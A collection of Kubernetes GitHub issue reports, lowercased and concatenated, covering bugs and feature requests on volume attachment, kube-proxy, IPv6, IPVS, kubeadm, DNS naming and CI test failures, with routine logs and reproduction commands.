\r \r </details></br>\r \r   extra information:  \r \r   two other kind of pod events that are regularly associated with the error above:\r \r    \r   disk '/subscriptions/xyz-123/resourcegroups/mycluster/providers/microsoft.compute/disks/k8s-mstr-mycluster-kub--pvc-xyz-123' cannot be attached as the disk is already owned by vm '/subscriptions/xyz-123/resourcegroups/mycluster/providers/microsoft.compute/virtualmachinescalesets/k8s-myscaleset2-vmss/virtualmachines/k8s-myscaleset2-vmss_1'.\r    \r \r    \r   warning  failedmount             7m  x72 over 2h    kubelet, k8s-mycluster-vmss00000x  mountvolume.waitforattach failed for volume \ pvc-xyz-123\  : azuredisk - waitforattach failed within timeout node  k8s-mycluster-vmss00000x  diskid: mycluster-kub-pvc-xyz-123  lun: 2 \r    \r \r   kubelet logs of a node where attaching the volume is failing\r \r 🗒  kubelet.log  https://github.com/kubernetes/kubernetes/files/2607870/kubelet.log \r \r   kube-controller-manager logs in an environment where attaching the volume is failing\r \r 🗒  kube-controller-manager.log  https://github.com/kubernetes/kubernetes/files/2608040/kube-controller-manager.log \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.10\r - cloud provider or hardware configuration: azure  westeurope \r - os  e.g. from /etc/os-release : 16.04.4 lts\r - kernel  e.g.  uname -a  : 4.13.0-1018-azure\r - install tools: acs-engine\r - others:\r \r    \r @andyzhangx @khenidak this might be of interest for you, since you were involved in  70002, which was supposed to fix attach/detach issues in azure.

as soon as  7303 merges, kube-proxy will be able to send events.    we should take advantage of that.  this is a good starter project.  steps:  - import  github.com/googlecloudplatform/kubernetes/pkg/client/record  into  cmd/kube-proxy/app/server.go  and  pkg/proxy/... . - record birthcry, like kubelet does, so that restarts are visible. - record an event when service/endpoint watching fails for an extended time. - record an event when proxying fails unexpectedly. - ensure that event rate is not too high in pathological cases    - ensure that successive events are identical except for time field so they are compacted.   - check with @saad-ali about what he did with kubelet event compaction

i was looking at a bug report from a user   17488  and noticed that the way we present node status makes the current message and reason for ood unintentionally confusing. in particuar, the user sees         conditions:     - lastheartbeattime: 2015-11-19t09:18:01z       lasttransitiontime: 2015-11-19t09:08:17z       message: kubelet is posting ready status       reason: kubeletready       status: \ true\        type: ready     - lastheartbeattime: 2015-11-19t09:18:01z       lasttransitiontime: 2015-11-02t17:11:08z       message: kubelet has sufficient disk space available       reason: kubelethassufficientdisk       status: \ false\        type: outofdisk      seeing \ kubelethassufficientdisk\  followed by \ false\  implies the opposite of what we are trying to say, even though it is accurate.  i'd suggest changing the message and reason to message: kubelet is not out of disk space reason: kubeletnotoutofdisk here: https://github.com/kubernetes/kubernetes/blob/492782c942a564c9cbaa537d8c1c456f725c1092/pkg/kubelet/kubelet.go l2819  @madhusudancs

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r   internal loadbalancer\r   gce loadbalancer\r   loadbalancer annotation internal \r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.5.1\r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r google have added support for internal loadbalancers on gcp. i've managed to find information on aws and using internal elbs  via  service.beta.kubernetes.io/aws-load-balancer-internal  , but from issues and looking at the gce cloud provider it seems there's currently no support for internal google load balancers.\r \r have i just missed something? i'd be happy to contribute towards this feature if nobody else already is.\r

feature request?  \r \r i would like to be able to optionally specify an image id  for gce  as part of the volume provisioning parameters for a  storageclass . then any persistent volume claims referencing that storage class could dynamically provision disks based off of that image.\r \r i've taken a stab at an initial implementation, which i will reference here. i may be missing a few things, but happy to make touch-ups as needed.\r \r

in federation tests, if we observe the build logs. we see cleaning up loadbalancer from cloud provider seems not working.\r    \r i0605 06:12:31.969  jun  5 05:57:11.859: info: failed to delete cloud provider resources for service \ federated-service\  in namespace \ e2e-tests-federated-service-86x1k\ , in cluster \ federation-e2e-gce-us-central1-a\ : error getting cluster id a7b70c85e49ee11e7aa3042010a80000: gcecloud.clusterid is not ready. call initialize   before using.\r i0605 06:12:31.969  jun  5 05:57:13.859: info: failed to delete cloud provider resources for service \ federated-service\  in namespace \ e2e-tests-federated-service-86x1k\ , in cluster \ federation-e2e-gce-us-central1-a\ : error getting cluster id a7b70c85e49ee11e7aa3042010a80000: gcecloud.clusterid is not ready. call initialize   before using.\r    \r it has 2 effects:\r - delays the tests by waiting to delete but always returns error. so we waste like 5 minutes.\r - maybe we are leaking the loadbalancer in the project.\r \r @madhusudancs @kubernetes/sig-federation-bugs

we have moved to non-global schema in a number of places in 1.6 and 1.7. it is easy to forget registering the unversioned types like  metav1.status , leading to encoding errors in error cases.\r \r the registration of the unversioned types should be automatic as for the   options  types, i.e. in  metav1. addtogroupversion .

follows from discussion in https://github.com/kubernetes/kubernetes/issues/48052\r \r we noticed this while performing load test on 4000 node clusters with services enabled. the iptables restore step in the proxier fails with:\r    \r e0625 09:03:14.873338       5 proxier.go:1574  failed to execute iptables-restore: failed to acquire old iptables lock: timed out waiting for the condition\r    \r \r and the reason quite likely is because of \ huge\  size of iptables  tens of mbs  as we run 30 pods per node and each pod is part of exactly one service\r => 30   4000 = 120k service endpoints  and these updates happen on all 4000 nodes \r \r cc @kubernetes/sig-network-misc @kubernetes/sig-scalability-misc @danwinship @wojtek-t

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r upon code inspection, several issues were found revolving around handling of ipv6 addresses:\r - there are three places where a string specifying ip:port using something like the following:\r          if index := strings.index e.endpoint, \ :\  ; index != -1 {\r    this will fail for ipv6 since v6 addresses contains many colons, and the v6 address is expected\r    to be enclosed in square brackets   <ipv6-addr> :<port> .\r - the string   method for the localport struct should put square brackets around ipv6 addresses.\r - the logging in the merge   method for proxyservicemap should put brackets around ipv6\r    addresses.\r - there are several places where filterrules destination is hardcoded to <clusterip>/32.\r    should be a /128 for ipv6 case.\r - more ipv6 unit test cases are needed.\r \r   what you expected to happen  :\r the issues cited above should be fixed for ipv6 address handling.\r \r   how to reproduce it  as minimally and precisely as possible   :\r visual inspection of code.\r \r   anything else we need to know?  :\r this may fix issue  33035, but i need to functionally test this scenario.\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master\r - cloud provider or hardware configuration  : kubernetes container dev env on ubuntu 16.04.1\r - os  e.g. from /etc/os-release : ubuntu 16.04.1\r - kernel  e.g.  uname -a  : 4.4.0-78-generic  99-ubuntu x86_64 gnu/linux\r - install tools:\r - others:\r

failure cluster  a9e453c4ca9b8e328f1b  https://go.k8s.io/triage a9e453c4ca9b8e328f1b        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:738 expected error:     < errors.errorstring | 0xc42011b760>: {         s: \ error starting &{../kubernetes_skew/cluster/kubectl.sh  ../kubernetes_skew/cluster/kubectl.sh --server=https://104.197.40.139 --kubeconfig=/workspace/.kube/config version --client      <nil>      <nil> <nil> <nil> <nil> <nil> false  0xc420ec4168 0xc420ec4180 0xc420ec4198   0xc420ec4168 0xc420ec4180 0xc420ec4198   0xc420ec4178 0xc420ec4190   0x976100 0x976100  <nil> <nil>}:\ command stdout:\ \ stderr:\ \ error:\ fork/exec ../kubernetes_skew/cluster/kubectl.sh: no such file or directory\ \ ,     }     error starting &{../kubernetes_skew/cluster/kubectl.sh  ../kubernetes_skew/cluster/kubectl.sh --server=https://104.197.40.139 --kubeconfig=/workspace/.kube/config version --client      <nil>      <nil> <nil> <nil> <nil> <nil> false  0xc420ec4168 0xc420ec4180 0xc420ec4198   0xc420ec4168 0xc420ec4180 0xc420ec4198   0xc420ec4178 0xc420ec4190   0x976100 0x976100  <nil> <nil>}:     command stdout:          stderr:          error:     fork/exec ../kubernetes_skew/cluster/kubectl.sh: no such file or directory      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2087           failure cluster statistics: 9 tests failed,    28 jobs failed,    381 builds failed. failure stats cover 1 day time range '10 jul 2017 17:23 utc' to '11 jul 2017 17:23 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  kubectl client  k8s.io  kubectl describe should check if kubectl describe prints relevant information for rc and pods  conformance  | 28 | |  k8s.io  kubectl client  k8s.io  kubectl cluster-info should check if kubernetes master services is included in cluster-info  conformance  | 28 | |  k8s.io  kubectl client  k8s.io  kubectl create quota should create a quota without scopes | 28 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-new-master-gci-kubectl-skew | 24 |  11 jul 2017 17:11 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-new-master-gci-kubectl-skew/423  | | ci-kubernetes-e2e-gce-1-6-1-7-cvm-kubectl-skew | 24 |  11 jul 2017 16:39 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1-6-1-7-cvm-kubectl-skew/761  | | ci-kubernetes-e2e-gce-new-master-gci-kubectl-skew | 24 |  11 jul 2017 17:07 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-gci-kubectl-skew/427  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | pwittrock |  k8s.io  kubectl client  k8s.io  kubectl describe should check if kubectl describe prints relevant information for rc and pods  conformance ;  k8s.io  kubectl client  k8s.io  kubectl cluster-info should check if kubernetes master services is included in cluster-info  conformance ;  k8s.io  kubectl client  k8s.io  kubectl api-versions should check if v1 is in available api versions  conformance  | | xiang90 |  k8s.io  kubectl client  k8s.io  kubectl create quota should create a quota without scopes | | brendandburns |  k8s.io  kubectl client  k8s.io  kubectl create quota should reject quota with invalid scopes | | sig/cli |  k8s.io  kubectl client  k8s.io  kubectl describe should check if kubectl describe prints relevant information for rc and pods  conformance ;  k8s.io  kubectl client  k8s.io  kubectl cluster-info should check if kubernetes master services is included in cluster-info  conformance ;  k8s.io  kubectl client  k8s.io  kubectl create quota should create a quota without scopes |  </details><br>   current status  https://go.k8s.io/triage a9e453c4ca9b8e328f1b

cc @chakri-nelluri \r \r   is this a bug report or feature request?  :\r >  \r   what happened  :\r before  47400  mount path  was passed to the  detach  call, now the  volumename  is passed.\r the  volumename  in the  lvm example pod  https://github.com/kubernetes/kubernetes/blob/master/examples/volumes/flexvolume/nginx.yaml  is  test , but the  lvm flexvolume plugin  https://github.com/kubernetes/kubernetes/blob/master/examples/volumes/flexvolume/lvm l118  expect the  mount path  or at least we need a way to pass the  volumeid  to the  detach  function.\r \r after  47400  volumename  now needs to be unique  change of behavior, that wasn't the case before .\r \r   what you expected to happen  :\r it should pass the  mount path  or the  mount dev   as the  doc says  https://github.com/kubernetes/community/blob/master/contributors/devel/flexvolume.md detach  .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r try deploying the lvm flexvolume example: https://github.com/kubernetes/kubernetes/blob/master/examples/volumes/flexvolume/nginx.yaml https://github.com/kubernetes/kubernetes/blob/master/examples/volumes/flexvolume/lvm\r \r also see: https://github.com/kubernetes/kubernetes/issues/44737 issuecomment-319982256

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   this is a  bug report   :\r \r when we are trying to create kubernetes cluster using openstack heat , it creates cluster stack all the vm's and network is created.  but master fails with services. below are the list of error that i see. i have used 1.8. , 1.7, 1.6 all have the same issue. we are following the below documentation\r https://kubernetes.io/docs/getting-started-guides/openstack-heat/\r \r resources that are in wait state are \r master_wait_handle \r master_wait_condition\r \r \r  centos@centostest7 ~ $ swift list intertrust.com-kubernetes\r kubernetes-salt.tar.gz\r kubernetes-server.tar.gz\r \r   what happened  :\r    661.534633  cloud-init 4994 :  error     rendering exception occurred: jinja variable 'salt.pillar object' has no attribute 'node_labels'\r    661.540079  cloud-init 4994 :  error     unable to manage file: jinja variable 'salt.pillar object' has no attribute 'node_labels'\r    661.540200  cloud-init 4994 :  error     source file salt://kubelet/bootstrap-kubeconfig not found\r    661.540419  cloud-init 4994 :  error     source file salt://kubelet/ca.crt not found\r \r    664.154129  cloud-init 4994 : id: fix-service-kubelet\r    664.154759  cloud-init 4994 : function: cmd.wait\r    664.155370  cloud-init 4994 : name: /opt/kubernetes/helpers/services bounce kubelet\r    664.156240  cloud-init 4994 : result: false\r    664.156790  cloud-init 4994 : comment: one or more requisite failed: kubelet./var/lib/kubelet/ca.crt, kubelet./etc/sysconfig/kubelet, kubelet./var/lib/kubelet/bootstrap-kubeconfig\r    664.158416  cloud-init 4994 : changes:\r    664.158933  cloud-init 4994 : summary for local\r    664.159539  cloud-init 4994 : -------------\r    664.160108  cloud-init 4994 : succeeded: 64  changed=11 \r    664.160765  cloud-init 4994 : failed:     8\r    664.161369  cloud-init 4994 : -------------\r \r   what you expected to happen  :\r we expect to have the certificate and get the master node up with services.\r  \r   how to reproduce it  as minimally and precisely as possible   :\r \r export kubernetes_provider=openstack-heat\r export stack_name=kubernetesstack\r export number_of_minions=3\r export max_number_of_minions=3\r export external_network=ext01\r export master_flavor=ecs.c1.2-4\r export minion_flavor=ecs.c1.2-4\r export dns_server=8.8.8.8\r export swift_server_url=\r export enable_proxy=false\r kubernetes_keypair_name=/home/centos/kubernetes_keypair\r export st_auth_version=1.0\r export st_auth=\r export st_user=intertrust:swift\r export st_key=\r \r we have edited the below files only for env variables as per our requirements \r -rw-r-----. 1 centos centos 2658 oct 16 05:32 config-default.sh\r -rw-r-----. 1 centos centos 1141 oct 16 05:32 openrc-default.sh\r -rw-r-----. 1 centos centos 1363 oct 16 05:33 openrc-swift.sh\r -rw-r-----. 1 centos centos 8981 oct 16 05:37 util.sh\r \r \r   environment  :\r \r - kubernetes version\r kubectl.sh  version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r the connection to the server 213.95.154.95 was refused - did you specify the right host or port?\r - cloud provider or hardware configuration  : openstack \r - os  e.g. from /etc/os-release :centos\r - kernel  e.g.  uname -a  : linux centostest7.novalocal 3.10.0-693.2.2.el7.x86_64  1 smp tue sep 12 22:26:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: \r - others:\r \r  log1.log  https://github.com/kubernetes/kubernetes/files/1387388/log1.log \r  second_try_log1.log  https://github.com/kubernetes/kubernetes/files/1387393/second_try_log1.log \r \r  @kubernetes/sig-contributor-experience-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r upon removing an endpoint, the ipvs proxier immediately deletes the ipvs real server, causing all connections to get dropped.\r \r   what you expected to happen  :\r it should allow the terminating pod to gracefully close connections, just like the iptables proxier.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. enable ipvs proxier\r 2. create a keepalive / long lived connection to a pod  e.g.  while :; do echo -e \ get / http/1.1\ host: $host\ \ \ ; sleep 5; echo; done | telnet $serviceip 80  \r 3. delete that pod - observe the connection gets closed immediately, further requests will fail. on iptables proxier, it will continue to work  until the pod itself stops or closes the connection .\r \r   anything else we need to know?  :\r the ipvs proxier should instead be setting weight to 0, then reaping the stale real servers after some time period  that should be greater than any pod's graceful termination time . this may also fix the existing bug around udp connections getting dropped prematurely  https://github.com/kubernetes/kubernetes/issues/45976 .\r \r   environment  :\r - kubernetes version  use  kubectl version  : tested on 1.8, but same issue in 1.9 afaict\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : 4.4.0\r - install tools:\r - others:\r \r

is this a bug report or feature request?  : bug\r \r  \r \r   what happened  : when using cloud controller manager,  instanceexistsbyproviderid  function is not working correctly. common function  isnotfound  is not return correct value if instance is deleted from cloudprovider.\r \r   what you expected to happen  : i except that code should end to row https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/openstack/openstack_instances.go l131 if node is deleted from cloudprovider.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create kubernetes cluster to openstack cloudprovider using cloud controller manager\r 2. add debug print https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/cloud/node_controller.go l417 after this row  glog.v 2 .infof \ ensurenodeexistsbyprovideridorexternalid: %s %v\ , exists, err  \r 3. after cluster is up and running, delete one node from openstack and see the cloud controller log file\r 4. the result is  i0301 18:11:57.243500       1 node_controller.go:432  ensurenodeexistsbyprovideridorexternalid: %!s bool=false  resource not found \r \r if this works correctly it should return nil as error, from this row https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/openstack/openstack_instances.go l131. but now the code is not going there because  isnotfound  is not working correctly. i debugged this  isnotfound  function, and when instance is deleted from openstack https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/openstack/openstack.go l608 this row variable e is  nil  and ok is  false . so it is not working as should.\r \r   anything else we need to know?  : i am thinking that is this  isnotfound  working correcly in any other place currently in openstack cloudprovider.\r  \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration: openstack mitaka\r \r \r cc @anguslees as you are author of this  isnotfound  function. i am thinking could we just fix that using dirty way  err.error   == errresnotfound  where errresnotfound is constant  var errresnotfound = \ resource not found\  \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r in https://github.com/kubernetes/kubernetes/pull/60385, certs for etcd get created but are not projected into the apiserver pod when  storecertsinsecrets  is set to  true .\r \r   what you expected to happen  :\r the certs should be created as secrets when  storecertsinsecrets  is set to  true , and then they should be projected in the apiserver.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubeadm init --feature-gates=selfhosting=true,storecertsinsecrets=true \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubeadm version\r kubeadm version: &version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-beta.4\ , gitcommit:\ a2dacb6f846e9d64d02c5dc5ab3972287d337405\ , gittreestate:\ clean\ , builddate:\ 2018-03-14t05:45:34z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /cc @stealthybox \r

this is the result of migrating some tests from us-east1-a to us-east1-b.\r \r now we have some tests running in one zone, some in the other, but all clusters are still named: \ gce-scale-cluster\ .\r \r so when cluster fails to be deleted in previous run, the next one  if running in a different zones , fails to delete that, because:\r - it does list nodes  beause they are in different zone, it doesn't seem them \r - but e.g. it fails to delete instance-template, because it's global, but still referenced by those nodes\r \r \r given that our goal was to delete everything before starting a next run, they had to same the same name, but also run in the same zone. that is no longer true, so we need to figure out how to avoid those problems.\r \r @kubernetes/sig-scalability-bugs \r \r /assign @shyamjvs

<!-- this form is for bug reports and feature requests only!\r bug \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r bug report\r > uncomment only one, leave it on its own line:\r >\r >  \r \r \r   what happened  :\r when l use the kubeadm init cluster, first l use: kubeadm config image list to list the images of dependense. so l pulled those images by myself. notic: k8s.gcr.io/pause-amd64:3.1, but kubeadm init, l view the kubelet log, it's to pull k8s.gcr.io/pause:3.1. \r   what you expected to happen  :\r kubeadm config image list: \r the image:  k8s.gcr.io/pause-amd64:3.1 should be k8s.gcr.io/pause:3.1\r   how to reproduce it  as minimally and precisely as possible   :\r kubeadm init \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.0\r - cloud provider or hardware configuration: hardware configuration\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools: kubeadm\r - others:\r

\r   what happened  :\r created a headless service so that dns names would be created for my stateful set pods.  the service name contained a hyphen '-' character \r \r   what you expected to happen  :\r dns entries of the form <pod-name>.<service-name>.<namespace>.<cluster-suffix> would be created by kube-dns.  however, they are not if the service name contains a hyphen.\r \r   how to reproduce it  as minimally and precisely as possible   :\r follow the instructions on creating a statefulset here\r https://kubernetes.io/docs/tutorials/stateful-application/basic-stateful-set/ creating-a-statefulset\r but use 'nginx-foo' for the metadata.name of the service instead of 'nginx'\r \r   anything else we need to know?  :\r https://tools.ietf.org/html/rfc952 says domain names can have hyphens.  it's reasonably widely used on the internet.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.10.3\r - cloud provider or hardware configuration:\r eks\r - os  e.g. from /etc/os-release :\r whatever aws eks ami uses\r - kernel  e.g.  uname -a  :\r see above\r - install tools:\r eks\r - others:\r \r <!-- do not edit below this line -->\r 

which jobs are failing  :\r  sig-release-master-upgrade gce-new-master-upgrade-cluster-new  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new \r \r   which test s  are failing  :\r  skewtest  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new/1117872109163384835 \r \r   since when has it been failing  :\r since 4/15, but has shown considerable flakiness in the past few weeks.\r \r   testgrid link  :\r  ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new  1117872109163384835  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new/1117872109163384835 \r \r   reason for failure  :\r    \r error during kubetest --test --test_args=--ginkgo.focus=\\ serial\\ |\\ disruptive\\  --ginkgo.skip=\\ flaky\\ |\\ feature:.+\\  --report-dir=/workspace/_artifacts --disable-log-dump=true --report-prefix=skew --check-version-skew=false: exit status 1error during kubetest --test --test_args=--ginkgo.focus=\\ serial\\ |\\ disruptive\\  --ginkgo.skip=\\ flaky\\ |\\ feature:.+\\  --report-dir=/workspace/_artifacts --disable-log-dump=true --report-prefix=skew --check-version-skew=false: exit status 1\r    \r \r \r /milestone v1.15\r    / \r /cc @alejandrox1 @jimangel @rarchk @alenkacz\r

the current  contrib/ansible  in master now creates a 'bad certificacte' on centos7. this started happening after pr  10627 but do not know if it is directly related.   logs from master components      jul 07 16:18:50 kube-master-test-01 kube-controller-manager 27859 : e0707 16:18:50.659107   27859 reflector.go:133  failed to list  api.namespace: get https://10.21.224.58:443/api/v1beta3/namespaces: x509: certificate signed by unknown authority jul 07 16:18:50 kube-master-test-01 kube-apiserver 20722 : i0707 16:18:50.662431   20722 logs.go:41  http: tls handshake error from 10.21.224.58:52538: remote error: bad certificate jul 07 16:18:50 kube-master-test-01 kube-apiserver 20722 : i0707 16:18:50.670371   20722 logs.go:41  http: tls handshake error from 10.21.224.58:52539: remote error: bad certificate jul 07 16:18:50 kube-master-test-01 kube-controller-manager 27859 : e0707 16:18:50.691141   27859 reflector.go:133  failed to list  api.service: get https://10.21.224.58:443/api/v1beta3/services: x509: certificate signed by unknown authority jul 07 16:18:50 kube-master-test-01 kube-apiserver 20722 : i0707 16:18:50.702767   20722 logs.go:41  http: tls handshake error from 10.21.224.58:52540: remote error: bad certificate jul 07 16:18:50 kube-master-test-01 kube-controller-manager 27859 : e0707 16:18:50.724503   27859 reflector.go:133  failed to list  api.pod: get https://10.21.224.58:443/api/v1beta3/pods: x509: certificate signed by unknown authority

refer to this article http://kubernetes.io/docs/getting-started-guides/docker-multinode/master/ . it mention about if you need a separate “bootstrap” instance of the docker daemon and running this on a long running system, you should run the bootstrap docker instance under something like sysv init, upstart or systemd so that it is restarted across reboots and failures. here because i use the ubuntu 14.04, so i just want to know the upstart.i am confused how to achieve it , is just write some script under upstart folder or anything else?

have been testing a 1.3.0 cluster which at the moment comprises of 1 master and 1 minion  size does not matter . what we find is if we did deliberately kill the docker daemon  kubelet is running  on the minion, for some reason the event that the minion is  not ready  is emitted but the status of the pods never get updated. what i mean is running  kubectl --server=<master-ip> get pods  always shows the previous state of the pods on the minion which we killed the docker daemon which in my case was  running .  i assumed the kubelet property  sync-frequency  would be the property to tweak but in the kubelet logs, i consistently find  i0715 14:54:30.241111    2951 kubelet.go:2477  skipping pod synchronization -  container runtime is down   and other logs which clearly state the obvious -  cannot connect to docker daemon . this seems to be a new  1.3.0  https://github.com/kubernetes/kubernetes/blob/release-1.3/pkg/kubelet/kubelet.go l2476  change ?? i see it consistently looping around there trying to update the  runtimestate   question : what is the design philosophy here, specifically what happens when things extraneous to the kubelet/kube-proxy but critical for the minion to be  ready  fail? i ask this as i assume this is not a bug but a conscious decision made in 1.3.0.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r there is no metrics in volume manager and controllers  i.e. attach/detach and provision controllers . it is hard to get latency and stats.\r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \r metrics, volume\r \r ---\r \r   is this a bug report or feature request?    choose one :\r  feature request\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r i'd like to see metrics in volume manager and controllers in terms of latency and stats to assist debugging and scaling.\r \r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else do we need to know  :\r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-staging-parallel/1477/  failed:  k8s.io  probing container should be restarted with a /healthz http liveness probe  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:133 expected error:     < errors.statuserror | 0xc8208deb80>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server  \\\ internal server error: \\\\\\\ /api/v1/watch/namespaces/e2e-tests-container-probe-fpja9/serviceaccounts?fieldselector=metadata.name%3ddefault\\\\\\\ \\\   has prevented the request from succeeding  get serviceaccounts \ ,             reason: \ internalerror\ ,             details: {                 name: \ \ ,                 group: \ \ ,                 kind: \ serviceaccounts\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ internal server error: \\\ /api/v1/watch/namespaces/e2e-tests-container-probe-fpja9/serviceaccounts?fieldselector=metadata.name%3ddefault\\\ \ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 500,         },     }     an error on the server  \ internal server error: \\\ /api/v1/watch/namespaces/e2e-tests-container-probe-fpja9/serviceaccounts?fieldselector=metadata.name%3ddefault\\\ \   has prevented the request from succeeding  get serviceaccounts  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:223

due to a recent problem with kubelet-1.6, i had to revert back to kubelet-1.5.4 yesterday. when today i am trying to get kubelet-1.4.5 it is getting installed.  now if i try to install kubeadm it is overriding kubele with the latest version of kubelet. now if i uninstall the latest kubelet it is uninstalling the kubeadm. i don't remember seeing the same problem yesterday.\r \r all the workaround given to latest kubeadm to work with latest kubelet is not working for me in centos 7.3. kubeadm is a big mess now. \r \r is there a way to get only \r kubelet 1.5.4\r kubernetes-1.6.0\r kubeadm-1.6.0\r i am using yum install -y kubelet-1.5.4 kubeadm-1.6.0 kubernetes-cni-0.5.1

is this a bug report or feature request?    choose one :\r bug\r \r   kubernetes version    use  kubectl version  :\r master branch\r \r   what happened  :\r the json name of  v1.pod.deprecatedserviceaccount  is still  serviceaccount ; we should either update the api reference to  serviceaccount , or update json/protobuf to  deprecatedserviceaccount \r

